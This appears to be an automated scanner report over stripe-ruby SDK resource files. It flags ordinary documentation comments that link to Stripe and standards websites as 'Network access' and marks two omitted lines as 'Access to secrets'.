packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/radar/early_fraud_warning.rb
- Executable scriptline 1
Executable file - Network accessline 7
# charge may be fraudulent. # # Related guide: [Early fraud warnings](https://docs.stripe.com/disputes/measuring#early-fraud-warnings) - Network accessline 9
# Related guide: [Early fraud warnings](https://docs.stripe.com/disputes/measuring#early-fraud-warnings)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/radar/value_list.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Value lists allow you to group values together which can then be referenced in rules. # # Related guide: [Default Stripe lists](https://docs.stripe.com/radar/lists#managing-list-items) - Network accessline 8
# Related guide: [Default Stripe lists](https://docs.stripe.com/radar/lists#managing-list-items) - Network accessline 34
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/radar/value_list_item.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Value list items allow you to add specific values to a given Radar value list, which can then be used in rules. # # Related guide: [Managing list items](https://docs.stripe.com/radar/lists#managing-list-items) - Network accessline 8
# Related guide: [Managing list items](https://docs.stripe.com/radar/lists#managing-list-items)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/recipient_transfer.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/refund.rb
- Executable scriptline 1
Executable file - Network accessline 7
# initially charged. # # Related guide: [Refunds](https://docs.stripe.com/refunds) - Network accessline 9
# Related guide: [Refunds](https://docs.stripe.com/refunds) - Network accessline 632
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 646
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 664
# Status of the refund. This can be `pending`, `requires_action`, `succeeded`, `failed`, or `canceled`. Learn more about [failed refunds](https://docs.stripe.com/refunds#failed-refunds).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/reporting/report_run.rb
- Executable scriptline 1
Executable file - Network accessline 8
# When the report has finished running, it will give you a reference to a file # where you can retrieve your results. For an overview, see # [API Access to Reports](https://docs.stripe.com/reporting/statements/api). - Network accessline 9
# where you can retrieve your results. For an overview, see # [API Access to Reports](https://docs.stripe.com/reporting/statements/api). # - Network accessline 10
# [API Access to Reports](https://docs.stripe.com/reporting/statements/api). - Network accessline 11
# # Note that certain report types can only be run based on your live-mode data (not test-mode # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes). - Network accessline 13
# data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes). - Network accessline 38
# Defaults to `Etc/UTC`. The output timezone for all timestamps in the report. A list of possible time zone values is maintained at the [IANA Time Zone Database](http://www.iana.org/time-zones). Has no effect on `interval_start` or `interva - Network accessline 62
# The ID of the [report type](https://docs.stripe.com/reports/report-types) to run, such as `"balance.summary.1"`. - Network accessline 75
# Creates a new object and begin running the report. (Certain report types require a [live-mode API key](https://stripe.com/docs/keys#test-live-modes).)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/reporting/report_type.rb
- Executable scriptline 1
Executable file - Network accessline 7
# the "Activity summary" or "Itemized payouts" reports. These objects are # identified by an ID belonging to a set of enumerated values. See # [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api) - Network accessline 8
# identified by an ID belonging to a set of enumerated values. See # [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api) # for those Report Type IDs, along with required and optional parameters. - Network accessline 9
# [API Access to Reports documentation](https://docs.stripe.com/reporting/statements/api) - Network accessline 11
# # Note that certain report types can only be run based on your live-mode data (not test-mode # data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes). - Network accessline 13
# data), and will error when queried without a [live-mode API key](https://docs.stripe.com/keys#test-live-modes). - Network accessline 28
# The [ID of the Report Type](https://docs.stripe.com/reporting/statements/api#available-report-types), such as `balance.summary.1`.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/reserve_transaction.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/reversal.rb
- Executable scriptline 1
Executable file - Network accessline 5
# [Stripe Connect](https://docs.stripe.com/connect) platforms can reverse transfers made to a - Network accessline 9
# # Reversing a transfer that was made for a [destination # charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of - Network accessline 10
# Reversing a transfer that was made for a [destination # charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of # the charge. It is possible to reverse a - Network accessline 11
# charge](https://docs.stripe.com/docs/connect/destination-charges) is allowed only up to the amount of - Network accessline 12
# the charge. It is possible to reverse a # [transfer_group](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) # transfer only if the destination account has enough balance to cover the - Network accessline 13
# [transfer_group](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) - Network accessline 15
# reversal. # # Related guide: [Reverse transfers](https://docs.stripe.com/connect/separate-charges-and-transfers#reverse-transfers) - Network accessline 17
# Related guide: [Reverse transfers](https://docs.stripe.com/connect/separate-charges-and-transfers#reverse-transfers) - Network accessline 32
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 38
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/review.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Reviews can be used to supplement automated fraud detection with human expertise. # # Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments - Network accessline 6
# # Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments # [here](https://docs.stripe.com/radar/reviews). - Network accessline 7
# Learn more about [Radar](https://docs.stripe.com/radar) and reviewing payments - Network accessline 8
# [here](https://docs.stripe.com/radar/reviews).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/setup_attempt.rb
- Executable scriptline 1
Executable file - Network accessline 501
# For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one. - Network accessline 505
# For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 507
# For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. - Network accessline 509
# A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 527
# authentication flows and ultimately creates at most one successful charge. # # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 529
# Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 531
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 532
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 533
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme - Network accessline 535
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 541
# A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments. # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect - Network accessline 542
# For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment. # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 543
# Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 545
# Create a SetupIntent when you're ready to collect your customer's payment credentials. # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [stat - Network accessline 546
# Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides # you throug - Network accessline 547
# The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides - Network accessline 549
# # Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr - Network accessline 550
# Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 551
# For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 552
# [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection - Network accessline 553
# to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents). - Network accessline 554
# If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer), - Network accessline 555
# it automatically attaches the resulting payment method to that Customer after successful setup. # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on # Pa - Network accessline 556
# We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on - Network accessline 559
# By using SetupIntents, you can reduce friction for your customers, even as regulations change over time. # # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 561
# Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 576
# The value of [application](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-application) on the SetupIntent at the time of this confirmation. - Network accessline 584
# The value of [customer](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer) on the SetupIntent at the time of this confirmation. - Network accessline 586
# The value of [customer_account](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-customer_account) on the SetupIntent at the time of this confirmation. - Network accessline 598
# The value of [on_behalf_of](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-on_behalf_of) on the SetupIntent at the time of this confirmation. - Network accessline 610
# The value of [usage](https://docs.stripe.com/api/setup_intents/object#setup_intent_object-usage) on the SetupIntent at the time of this confirmation, one of `off_session` or `on_session`.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/setup_intent.rb
- Executable scriptline 1
Executable file - Network accessline 5
# A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments. # For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting - Network accessline 6
# For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment. # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. # - Network accessline 7
# Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 9
# Create a SetupIntent when you're ready to collect your customer's payment credentials. # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](ht - Network accessline 10
# Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides # you through the se - Network accessline 11
# The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides - Network accessline 13
# # Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 14
# Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through # [St - Network accessline 15
# For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 16
# [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection - Network accessline 17
# to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents). - Network accessline 18
# If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer), - Network accessline 19
# it automatically attaches the resulting payment method to that Customer after successful setup. # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on # PaymentInt - Network accessline 20
# We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on - Network accessline 23
# By using SetupIntents, you can reduce friction for your customers, even as regulations change over time. # # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 25
# Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 37
# Controls whether this SetupIntent will accept redirect-based payment methods. # # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional ste - Network accessline 39
# Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/setup_intents/confirm) this SetupIntent, you may - Network accessline 54
# For card errors resulting from a card issuer decline, a short string indicating [how to proceed with an error](https://docs.stripe.com/declines#retrying-issuer-declines) if they provide one. - Network accessline 58
# For some errors that could be handled programmatically, a short string indicating the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 60
# For card errors resulting from a card issuer decline, a short string indicating the [card issuer's reason for the decline](https://docs.stripe.com/declines#issuer-declines) if they provide one. - Network accessline 62
# A URL to more information about the [error code](https://docs.stripe.com/error-codes) reported. - Network accessline 80
# authentication flows and ultimately creates at most one successful charge. # # Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 82
# Related guide: [Payment Intents API](https://docs.stripe.com/payments/payment-intents) - Network accessline 84
# PaymentMethod objects represent your customer's payment instruments. # You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 85
# You can use them with [PaymentIntents](https://docs.stripe.com/payments/payment-intents) to collect payments or save them to - Network accessline 86
# Customer objects to store instrument details for future payments. # # Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payme - Network accessline 88
# Related guides: [Payment Methods](https://docs.stripe.com/payments/payment-methods) and [More Payment Scenarios](https://docs.stripe.com/payments/more-payment-scenarios). - Network accessline 94
# A SetupIntent guides you through the process of setting up and saving a customer's payment credentials for future payments. # For example, you can use a SetupIntent to set up and save your customer's card without immediately collect - Network accessline 95
# For example, you can use a SetupIntent to set up and save your customer's card without immediately collecting a payment. # Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 96
# Later, you can use [PaymentIntents](https://api.stripe.com#payment_intents) to drive the payment flow. - Network accessline 98
# Create a SetupIntent when you're ready to collect your customer's payment credentials. # Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [stat - Network accessline 99
# Don't maintain long-lived, unconfirmed SetupIntents because they might not be valid. # The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides # you throug - Network accessline 100
# The SetupIntent transitions through multiple [statuses](https://docs.stripe.com/payments/intents#intent-statuses) as it guides - Network accessline 102
# # Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run thr - Network accessline 103
# Successful SetupIntents result in payment credentials that are optimized for future payments. # For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 104
# For example, cardholders in [certain regions](https://stripe.com/guides/strong-customer-authentication) might need to be run through - Network accessline 105
# [Strong Customer Authentication](https://docs.stripe.com/strong-customer-authentication) during payment method collection - Network accessline 106
# to streamline later [off-session payments](https://docs.stripe.com/payments/setup-intents). - Network accessline 107
# If you use the SetupIntent with a [Customer](https://api.stripe.com#setup_intent_object-customer), - Network accessline 108
# it automatically attaches the resulting payment method to that Customer after successful setup. # We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on # Pa - Network accessline 109
# We recommend using SetupIntents or [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) on - Network accessline 112
# By using SetupIntents, you can reduce friction for your customers, even as regulations change over time. # # Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 114
# Related guide: [Setup Intents API](https://docs.stripe.com/payments/setup-intents) - Network accessline 313
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 342
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Access to secretsline 585
[Credential-related source omitted] - Network accessline 614
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 622
# ID of the payment method used with this SetupIntent. If the payment method is `card_present` and isn't a digital wallet, then the [generated_card](https://docs.stripe.com/api/setup_attempts/object#setup_attempt_object-payment_method_detai - Network accessline 624
# Information about the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) used for this Setup Intent. - Network accessline 628
# The list of payment method types (e.g. card) that this SetupIntent is allowed to set up. A list of valid payment method types can be found [here](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type). - Network accessline 632
# [Status](https://docs.stripe.com/payments/intents#intent-statuses) of this SetupIntent, one of `requires_payment_method`, `requires_confirmation`, `requires_action`, `processing`, `canceled`, or `succeeded`. - Network accessline 639
# You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action. # # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit - Network accessline 641
# After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex - Network accessline 651
# You can cancel a SetupIntent object when it's in one of these statuses: requires_payment_method, requires_confirmation, or requires_action. # # After you cancel it, setup is abandoned and any operations on the SetupIntent fail wit - Network accessline 653
# After you cancel it, setup is abandoned and any operations on the SetupIntent fail with an error. You can't cancel the SetupIntent for a Checkout Session. [Expire the Checkout Session](https://docs.stripe.com/docs/api/checkout/sessions/ex - Network accessline 709
# Creates a SetupIntent object. # # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm) - Network accessline 710
# # After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm) # it to collect any required permissions to charge the payment method later. - Network accessline 711
# After you create the SetupIntent, attach a payment method and [confirm](https://docs.stripe.com/docs/api/setup_intents/confirm)
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/shipping_rate.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Shipping rates describe the price of shipping presented to your customers and # applied to a purchase. For more information, see [Charge for shipping](https://docs.stripe.com/payments/during-payment/charge-shipping). - Network accessline 6
# applied to a purchase. For more information, see [Charge for shipping](https://docs.stripe.com/payments/during-payment/charge-shipping). - Network accessline 78
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 80
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 105
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 111
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/sigma/scheduled_query_run.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/source.rb
- Executable scriptline 1
Executable file - Network accessline 8
# attached to customers. # # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). - Network accessline 9
# # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods). - Network accessline 10
# Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). - Network accessline 11
# We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods). - Network accessline 12
# This newer API provides access to our latest features and payment method types. # # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers). - Network accessline 14
# Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers). - Network accessline 439
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 447
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 462
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 470
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 673
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 681
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 713
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Access to secretsline 819
[Credential-related source omitted] - Network accessline 824
# Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) associated with the source. This is the currency for which the source will be chargeable once ready. Required for `single_use` sources. - Network accessline 842
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 870
# The `type` of the source. The `type` is a payment method, one of `ach_credit_transfer`, `ach_debit`, `alipay`, `bancontact`, `card`, `card_present`, `eps`, `giropay`, `ideal`, `multibanco`, `klarna`, `p24`, `sepa_debit`, `sofort`, `three_ - Network accessline 882
# Updates the specified source by setting the values of the parameters passed. Any parameters not provided will be left unchanged. # # This request accepts the metadata and owner as arguments. It is also possible to update type spec - Network accessline 884
# This request accepts the metadata and owner as arguments. It is also possible to update type specific information for selected payment methods. Please refer to our [payment method guides](https://docs.stripe.com/docs/sources) for more det
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/source_mandate_notification.rb
- Executable scriptline 1
Executable file - Network accessline 77
# attached to customers. # # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). - Network accessline 78
# # Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). # We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods). - Network accessline 79
# Stripe doesn't recommend using the deprecated [Sources API](https://docs.stripe.com/api/sources). - Network accessline 80
# We recommend that you adopt the [PaymentMethods API](https://docs.stripe.com/api/payment_methods). - Network accessline 81
# This newer API provides access to our latest features and payment method types. # # Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers). - Network accessline 83
# Related guides: [Sources API](https://docs.stripe.com/sources) and [Sources & Customers](https://docs.stripe.com/sources/customers).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/source_transaction.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/subscription.rb
- Executable scriptline 1
Executable file - Network accessline 5
# Subscriptions allow you to charge a customer on a recurring basis. # # Related guide: [Creating subscriptions](https://docs.stripe.com/billing/subscriptions/creating) - Network accessline 7
# Related guide: [Creating subscriptions](https://docs.stripe.com/billing/subscriptions/creating) - Network accessline 239
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 419
# The list of payment method types to provide to every invoice created by the subscription. If not set, Stripe attempts to automatically determine the types to use by looking at the invoice’s default payment method, the subscription’s defau - Network accessline 457
# Indicates if a plan's `trial_period_days` should be applied to the subscription. Setting `trial_end` per subscription is preferred, and this defaults to `false`. Setting this flag to `true` together with `trial_end` is not allowed. See [U - Network accessline 514
# The reference point that aligns future [billing cycle](https://docs.stripe.com/subscriptions/billing-cycle) dates. It sets the day of week for `week` intervals, the day of month for `month` and `year` intervals, and the month of year for - Network accessline 534
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 542
# ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over `default_source`. If neither are set, invoices will use the customer's [invoice_settings.de - Network accessline 544
# ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If `default_payment_method` is also set, `default_payment_method` will take precedence. I - Network accessline 564
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 570
# The account (if any) the charge was made on behalf of for charges associated with this subscription. See the [Connect documentation](https://docs.stripe.com/connect/subscriptions#on-behalf-of) for details. - Network accessline 572
# If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to `paused`. Learn more about [pausing collection](https://docs.stripe.com/billing/subscrip - Network accessline 576
# Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling [Create an invoice](https://docs.stripe.com/api#create_invoice) for the given subscription at the specified interval. - Network accessline 578
# You can use this [SetupIntent](https://docs.stripe.com/api/setup_intents) to collect user authentication when creating a subscription without immediate payment or updating a subscription's payment method, allowing you to optimize for off- - Network accessline 580
# If specified, [pending updates](https://docs.stripe.com/billing/subscriptions/pending-updates) that will be applied to the subscription once the `latest_invoice` has been paid. - Network accessline 590
# A subscription that is currently in a trial period is `trialing` and moves to `active` when the trial period is over. # # A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.st - Network accessline 591
# # A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.stripe.com/billing/subscriptions/trials#create-free-trials-without-payment). A `paused` subscription doesn't generate invoices - Network accessline 592
# A subscription can only enter a `paused` status [when a trial ends without a payment method](https://docs.stripe.com/billing/subscriptions/trials#create-free-trials-without-payment). A `paused` subscription doesn't generate invoices and c - Network accessline 609
# Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata). - Network accessline 610
# # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, - Network accessline 611
# Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe - Network accessline 623
# Cancels a customer's subscription immediately. The customer won't be charged again for the subscription. After it's canceled, you can no longer update the subscription or its [metadata](https://docs.stripe.com/metadata). - Network accessline 624
# # Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, - Network accessline 625
# Any pending invoice items that you've created are still charged at the end of the period, unless manually [deleted](https://docs.stripe.com/api#delete_invoiceitem). If you've set the subscription to cancel at the end of the period, any pe - Network accessline 640
# The payment_behavior parameter determines the exact behavior of the initial payment. # # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/bil - Network accessline 641
# # To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead. # Schedules provide the fl - Network accessline 642
# To start subscriptions where the first invoice always begins in a draft status, use [subscription schedules](https://docs.stripe.com/docs/billing/subscriptions/subscription-schedules#managing) instead. - Network accessline 726
# Updates an existing subscription to match the specified parameters. # When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes. # To preview how the proration is cal - Network accessline 727
# When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes. # To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoice - Network accessline 728
# To preview how the proration is calculated, use the [create preview](https://docs.stripe.com/docs/api/invoices/create_preview) endpoint. - Network accessline 738
# # # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscriptio - Network accessline 739
# # In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription chan - Network accessline 740
# In these cases, we apply a credit for the unused time on the previous price, immediately charge the customer using the new price, and reset the billing date. Learn about how [Stripe immediately attempts payment for subscription changes](h - Network accessline 741
# # If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create - Network accessline 742
# If you want to charge for an upgrade immediately, pass proration_behavior as always_invoice to create prorations, automatically invoice the customer for those proration adjustments, and attempt to collect payment. If you pass create_prora - Network accessline 744
# If you don't want to prorate, set the proration_behavior option to none. With this option, the customer is billed 100 on May 1 and 200 on June 1. Similarly, if you set proration_behavior to none when switching between different billing in - Network accessline 746
# Updating the quantity on a subscription many times in an hour may result in [rate limiting. If you need to bill for a frequently changing quantity, consider integrating <a href="/docs/billing/subscriptions/usage-based">usage-based billing
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/resources/subscription_item.rb
